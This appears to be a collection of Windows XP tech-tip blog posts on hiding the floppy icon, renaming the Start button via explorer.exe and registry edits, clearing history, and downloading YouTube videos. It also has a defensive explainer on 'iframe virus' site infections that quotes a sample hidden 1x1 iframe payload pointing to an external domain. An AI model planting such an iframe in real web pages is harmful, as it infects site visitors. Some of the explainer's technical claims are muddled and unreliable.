The floppy drive (A:) icon can appear in your My Computer even if you don't have a floppy drive attached in your System Unit. If you want to remove this icon from your my computer then : Right click on My Computer icon--> click Properties--> Goto --> Hardware Tab and click--> Device Manager.
In the Device Manager Window you'll see a Floppy Disk Controller. Click it and there will appear another icon below it which named "Standard Floppy Disk Controller". Right click here and click Disable.
The Floppy Disk Icon will no longer appear in your My Computer Window. You can Disable the Floppy disk Controller option disabled from your BIOS Settings too.
If the Floppy Drive Icon comes back with the restart of your PC then instead of Disabling the Standard Floppy Disk Controller Uninstall it from the Device manager Window. To get back the Floppy icon in My computer Just go to Device Manager and Enable the Standard Floppy Disk Controller option.
It's really great to be able to rename your Start button of Windows XP and Giving a name you like ( Probably your name). To do so you just have to follow the following 2 steps:
1. Edit the explorer.exe in C:\windows\explorer.exe & 2. Tweaking the registry to accept the changes.
--> Since Explorer.exe is a very important file for your windows XP to run, make a copy of this file and paste it to some other place before making any change to this file. Because we are dealing with a binary file (.exe file) , we need to use a binary file editor like "Resource Hacker". It is a free program available for download from Softpedia. Once you have downloaded it, extract all the data from the archive and run ResHacker. Now open the explorer.exe with the downloaded software. Alternatively you can use any reliable binary file editor or hex editor software you like.
In the left, you can see an information tree. Expand String table (Under String Table) > 37 or 38 (37 string is for the normal XP layout and 38 one is for the classic layout). You just select the one suitable for your Windows and then select 1033. In the right, line 578 display Start between quotes. Rename it with the desired name (I've remaned it Xero) and then click the Compile Script button which is placed above.
It's time to save the new version of the explorer.exe. Click save as from the file menu and save it with a different name. I chose My-Explorer.exe.
-->Now Goto Start--> Run and Type "regedit" to open the registry editor. You can alternatively open the registry editor by browsing C:\windows and then clicking the "regedit.exe" file.
Browse "HKEY_LOCAL_MACHINE --> SOFTWARE --> Microsoft --> Windows NT--> CurrentVersion --> Winlogon " from the regedit window and from the right find the "Shell" entry. Double click on it and replace explorer.exe with my-explorer.exe (or whatever you renamed the edited file in your case).
Close the registry editor and Restart your computer. After Windows XP boots, the new start button will have the name you have chosen ( Xero for me).
What is iframe : iframe is an inline frame which places another HTML document in a frame inside a normal HTML document, which was first introduced by Microsoft in the year 1997. The iframe tag is now widely supported by all visual browsers. Unlike an object element, an inline frame may be the "target" frame for links defined in other elements and it may be "selected" by a browser as the focus for printing, viewing HTML source etc.
The opening iframe tag must be closed by /iframe both with in tag < > syntax . Content between the iframe tags is used as alternative text to be displayed if the browser does not support iframes.The iframe element is invalid in Strict DTDs, and in XHTML version 1.1. Inline frames have, at times, been exploited to illicitly inject code into a website.
iframe injection is the virus which will be created in index.php, and other .html, .php , .asp etc files.
A sample iframe virus code might look like iframe src="http://superbetfair.cn/in.cgi?income43" width=1 height=1 style="visibility: hidden" /iframe.
First these iframe virus codes will be injected in index.php files. They will be placed at end of code. And minute by minute starts to delete the code. from rear end. So, your site will not be displayed, and you can see the message like ‘ unknown character found in …./index.php on line .... And it will avoid you to access the log in page also. The iframe virus uses very small frame to insert unexpected entry. If your site is infected by iframe virus you and anyone else won't be able to browse this specific pages and will get a warning message from google/Mozilla like this:
To remove iframe virus from your site follow these steps: 1. Backup everything including database and download these files as a .zip file to a clean computer. 2. Reinstall your Windows OS and remove the trojan from your computer using a antivirus. 3. Clean your code removing all iframes and jscript code that have been inserted by the trojan. 4. Check you databases and remove suspicious code from there too. 5. Change your FTP password and reinstall the FTPClient software. 6. Upload the cleaned version of your website and database. 7. Change the all infected / index files PERMISSIONS as 444, so that it can not be writtenable.
It is important to note that, the attack is caused by a trojan that resides in your computer ( either from removable devices like your music player or pendrive or from the infected websites you have visited ) and steal your ftp credential and adds codes to your website file. Since this trojan stoles all your FTP credentials ( and are used to access your site accounts and modify your code, inserting an iframe in some cases or in other cases, these kind of virus insert a compressed javascript code. So to be safe for the future you must change your FTP account password. Never use the FTP software for a long. Rather try to reinstall it time to time.
Cleaning the Computer history (searched items, recently opened documents & files etc.) is sometimes important to protect your privacy. To clean the history of your computer :
1) Go to Start--> Run--> then type "recent". This will open a window containing shortcut of all the recent files that had been accessed. Select all and Shift+Delete those files. Deleting these files doesn't affect your original files, so don't worry about it.
2) Go to Start--> Run--> then type "%temp%". The opened window will show all the temp files. Delete those files and then from recycle bin too. Don't worry if a some files can't be deleted. These files will be left because your Operating System is using them. 3) Now restart the OS and your history is cleaned up.
Youtube doesn't allow users to save/download the videos from their website. It only allows users to send a hyperlink to others and invite them to go to youtube.com website to view the videos. But there are different reasons some want might want to save the video in the HDD or in a portable device. There are 3 different ways to download youtube or similar video sharing website's video.
Option 1 (From websites) : There are many websites that have a youtube video download option in their websites. Simply copy the url of the video you want to download from the youtube.com website and enter it in the third party website's Get video text box. Then click Get video to download the desired video. Here is a list of websites that offers youtube video download option in their website. Yo ucan find some other websites just by googling . Bookmark the best site(s) so that you don't have to search for the websites again. -- http://www.savevideodownload.com/download.php -- http://www.downloadyoutubevideos.com -- http://keepvid.com -- http://javimoya.com/blog/youtube_en.php
Option 2 (Using Desktop software) : There are different free software available to download and install to get the youtube video. These software are small and easy to install. Enter the url in the software's download interface and download the youtube.com video in your computer. Here are some links to such software. You must understand that youtube.com frequently changes their vedeo sharing techniques to prevent the third party software to download the video locally. So the software works pretty fine might not work at all tomorrow. But there are always options like downloading the updated software or getting the newer versions available. -- Easy Video Downloader -- Youtube downloader -- ImToo download youtube video -- Youtube download 3.14 -- Xilisoft Download YouTube Video -- YouTube Downloader 2.5.1 -- YouTube FLV Downloader
Option 3 (Using Mozilla Firefox Extensions): Mozilla Firefox offers so many extensions/AddOns to enhance the core functionality of the web-browser. To download any AddOns/ extensions open your firefox browser (If you don't have a firefox browser download it from http://www.mozilla.com/en-US/firefox/personal.html ) and go to Tools menu--> AddOns--> Get Addons 'Tab' And in the searchbox type "youtube video download". A list of available Addons will be appear in the result box. Select the AddOns fro mthe list and click "Add To fireFox". After installing the AddOns you will see an icon at the browser and click here to get the download environment. You can Add different Youtube video download AddOns at a time. Keep the best one and then remove others as you like.
The youtube video are stored in .flv file format. So while downloading either convert it to the common file format like .mpeg or get a flash player to run these downloaded video.There are lots of free and quality .flv player available to download. Go to http://www.flvsoft.com/download_flv to download a free flv player. Gom player is a very popular player which can run lots of different video files including .flv files.Click GOM( http://www.gomlab.com/eng/GMP_download.html ) Player to download it.
The floppy drive (A:) icon can appear in your My Computer even if you don't have a floppy drive attached in your System Unit. If you want to remove this icon from your my computer then :
